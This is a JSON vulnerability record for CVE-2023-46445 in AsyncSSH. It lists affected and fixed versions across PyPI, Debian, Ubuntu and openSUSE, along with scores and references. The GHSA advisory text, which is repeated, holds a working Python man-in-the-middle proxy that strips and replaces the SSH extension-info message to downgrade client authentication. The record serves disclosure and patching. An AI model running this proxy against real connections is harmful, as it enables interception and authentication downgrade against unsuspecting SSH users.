{"id":"CVE-2023-46445","aliases":["DEBIAN-CVE-2023-46445","DLA-3899-1","EUVD-2023-0045","GHSA-cfc2-wr2v-gxm5","PYSEC-2023-237","UBUNTU-CVE-2023-46445","USN-7108-1","USN-7108-2","openSUSE-SU-2024:13417-1","openSUSE-SU-2026:11851-1"],"status":"published","title":"AsyncSSH Rogue Extension Negotiation","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-11","score":0.00624,"percentile":0.5041,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-345","CWE-349","CWE-354"],"published":"2023-11-09T18:34:53Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"PyPI","package":"asyncssh","fixed_in":["2.14.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"python-asyncssh","fixed_in":["2.10.1-2+deb12u2"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-asyncssh","fixed_in":["2.15.0-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-asyncssh","fixed_in":["2.15.0-1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-asyncssh","fixed_in":["1.11.1-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:20.04:LTS","package":"python-asyncssh","fixed_in":["1.12.2-1ubuntu0.2"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"python-asyncssh","fixed_in":["2.5.0-1ubuntu0.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-asyncssh","fixed_in":["2.10.1-2ubuntu0.1+esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-2+deb12u2"}]}],"versions":["2.10.1-2","2.10.1-2+deb12u1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.15.0-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.15.0-1"}]}]},{"source":"osv","ecosystem":"Debian:11","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0-0.1+deb11u1"}]}],"versions":["2.5.0-0.1"],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.1"}]}],"versions":["0.8.1","0.8.2","0.8.3","0.8.4","0.9.0","0.9.1","0.9.2","1.0.0","1.0.1","1.1.0","1.1.1","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.14.0","1.15.0","1.15.1","1.16.0","1.16.1","1.17.0","1.17.1","1.18.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.2","1.7.1","1.7.2","1.7.3","1.8.0","1.8.1","1.9.0","2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.13.0","2.13.1","2.13.2","2.14.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.4.2","2.5.0","2.6.0","2.7.0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.1"}]}],"versions":["0.8.1","0.8.2","0.8.3","0.8.4","0.9.0","0.9.1","0.9.2","1.0.0","1.0.1","1.1.0","1.1.1","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.14.0","1.15.0","1.15.1","1.16.0","1.16.1","1.17.0","1.17.1","1.18.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.2","1.7.1","1.7.2","1.7.3","1.8.0","1.8.1","1.9.0","2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.13.0","2.13.1","2.13.2","2.14.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.4.2","2.5.0","2.6.0","2.7.0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.0-1","1.2.1-1","1.3.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.11.1-1ubuntu0.1~esm2"}]}],"versions":["1.8.1-2","1.11.0-2","1.11.1-1","1.11.1-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.12.2-1ubuntu0.2"}]}],"versions":["1.12.2-1","1.12.2-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0-1ubuntu0.1"}]}],"versions":["2.5.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-2ubuntu0.1+esm1"}]}],"versions":["2.10.1-2","2.10.1-2ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.12.2-1ubuntu0.2"}]}],"versions":["1.12.2-1","1.12.2-1ubuntu0.1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0-1ubuntu0.1"}]}],"versions":["2.5.0-1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-2ubuntu0.1+esm1"}]}],"versions":["2.10.1-2","2.10.1-2ubuntu0.1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.11.1-1ubuntu0.1~esm2"}]}],"versions":["1.8.1-2","1.11.0-2","1.11.1-1","1.11.1-1ubuntu0.1~esm1"],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-asyncssh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.24.0-1.1"}]}],"bundled":3}],"products":[{"vendor":"asyncssh_project","product":"asyncssh"}],"references":[{"url":"https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5","tags":["x_transferred","Third Party Advisory","advisory","web","report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE/","tags":["vendor-advisory","x_transferred","advisory"]},{"url":"https://www.terrapin-attack.com","tags":["x_transferred","web"]},{"url":"https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst","tags":["x_transferred","web"]},{"url":"https://github.com/advisories/GHSA-cfc2-wr2v-gxm5","tags":["x_transferred","advisory"]},{"url":"http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html","tags":["x_transferred","web"]},{"url":"https://security.netapp.com/advisory/ntap-20231222-0001/","tags":["x_transferred","advisory"]},{"url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html","tags":["web"]},{"url":"https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46445","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE","tags":["web"]},{"url":"https://security.netapp.com/advisory/ntap-20231222-0001","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/46xxx/CVE-2023-46445.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-46445","tags":["advisory"]},{"url":"https://github.com/ronf/asyncssh","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-46445","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-46445","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7108-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/notices/USN-7108-2","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2023-46446","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2023-46445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2023-48795","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62949","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2023-46445","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","status":"published","published":"2023-11-14T00:00:00Z","modified":"2026-02-25T17:20:12.613Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"adp"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:35:23.309349Z"}],"euvd":[{"id":"EUVD-2023-0045","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","status":"published","published":"2023-11-14T00:00:00Z","modified":"2026-02-25T17:20:12Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:28.530473Z"}],"ghsa":[{"id":"GHSA-cfc2-wr2v-gxm5","title":"AsyncSSH Rogue Extension Negotiation","description":"### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = '127.0.0.1'\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = '127.0.0.1'\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b'\\x00\\x00\\x00\\x0c\\x0a\\x15'\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify('0000000C060700000000000000000000')\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == '__main__':\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.","status":"published","published":"2023-11-09T18:34:53Z","modified":"2025-11-04T16:46:52Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-345","CWE-349","CWE-354"],"updated_at":"2026-11-02T14:39:06.376137Z"}],"nvd":[{"id":"CVE-2023-46445","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","status":"published","published":"2023-11-14T03:15:09.47Z","modified":"2026-06-17T06:30:53.04Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"primary"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:08:46.647045Z"}],"osv":[{"id":"CVE-2023-46445","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","status":"published","published":"2023-11-14T00:00:00Z","modified":"2026-10-28T02:30:33.968048054Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:34.287121Z"},{"id":"DEBIAN-CVE-2023-46445","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","status":"published","published":"2023-11-14T03:15:09.47Z","modified":"2026-10-26T18:03:06.896446249Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:40.275853Z"},{"id":"GHSA-cfc2-wr2v-gxm5","title":"AsyncSSH Rogue Extension Negotiation","description":"### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = '127.0.0.1'\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = '127.0.0.1'\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b'\\x00\\x00\\x00\\x0c\\x0a\\x15'\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify('0000000C060700000000000000000000')\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == '__main__':\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.","status":"published","published":"2023-11-09T18:34:53Z","modified":"2026-07-08T06:53:12.832043866Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-345","CWE-349","CWE-354"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"PYSEC-2023-237","description":"An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.","status":"published","published":"2023-11-14T03:15:00Z","modified":"2023-11-17T17:41:55.151148Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:53.837392Z"},{"id":"UBUNTU-CVE-2023-46445","description":"An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\"","status":"published","published":"2023-11-14T03:15:00Z","modified":"2026-02-28T05:43:42.334455Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:54:22.741943Z"},{"id":"DLA-3899-1","title":"python-asyncssh - security update","status":"published","published":"2024-09-27T00:00:00Z","modified":"2026-03-09T01:20:23.883569Z","updated_at":"2026-11-02T15:46:12.203458Z"},{"id":"openSUSE-SU-2024:13417-1","title":"python310-asyncssh-2.14.1-1.1 on GA media","description":"These are all security issues fixed in the python310-asyncssh-2.14.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:19:57.160604Z","updated_at":"2026-11-02T16:58:36.327643Z"},{"id":"openSUSE-SU-2026:11851-1","title":"python313-asyncssh-2.24.0-1.1 on GA media","description":"These are all security issues fixed in the python313-asyncssh-2.24.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-22T00:00:00Z","modified":"2026-09-23T09:15:06.705335708Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"USN-7108-1","title":"python-asyncssh vulnerabilities","description":"Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH\ndid not properly handle the extension info message. An attacker able to\nintercept communications could possibly use this issue to downgrade\nthe algorithm used for client authentication. (CVE-2023-46445)\n\nFabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH\ndid not properly handle the user authentication request message. An\nattacker could possibly use this issue to control the remote end of an SSH\nclient session via packet injection/removal and shell emulation.\n(CVE-2023-46446)\n","status":"published","published":"2024-11-18T05:27:15Z","modified":"2026-04-27T17:34:09.486648Z","updated_at":"2026-11-02T16:58:18.876384Z"},{"id":"USN-7108-2","title":"python-asyncssh vulnerabilities","description":"USN-7108-1 fixed vulnerabilities in AysncSSH. This update provides the\ncorresponding update for Ubuntu 18.04 LTS.\n\nOriginal advisory details:\n\n Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH\n did not properly handle the extension info message. An attacker able to\n intercept communications could possibly use this issue to downgrade\n the algorithm used for client authentication. (CVE-2023-46445)\n\n Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH\n did not properly handle the user authentication request message. An\n attacker could possibly use this issue to control the remote end of an SSH\n client session via packet injection/removal and shell emulation.\n (CVE-2023-46446)\n","status":"published","published":"2024-12-12T06:58:08Z","modified":"2026-04-27T17:35:15.419508Z","updated_at":"2026-11-02T16:58:18.876384Z"}]}}
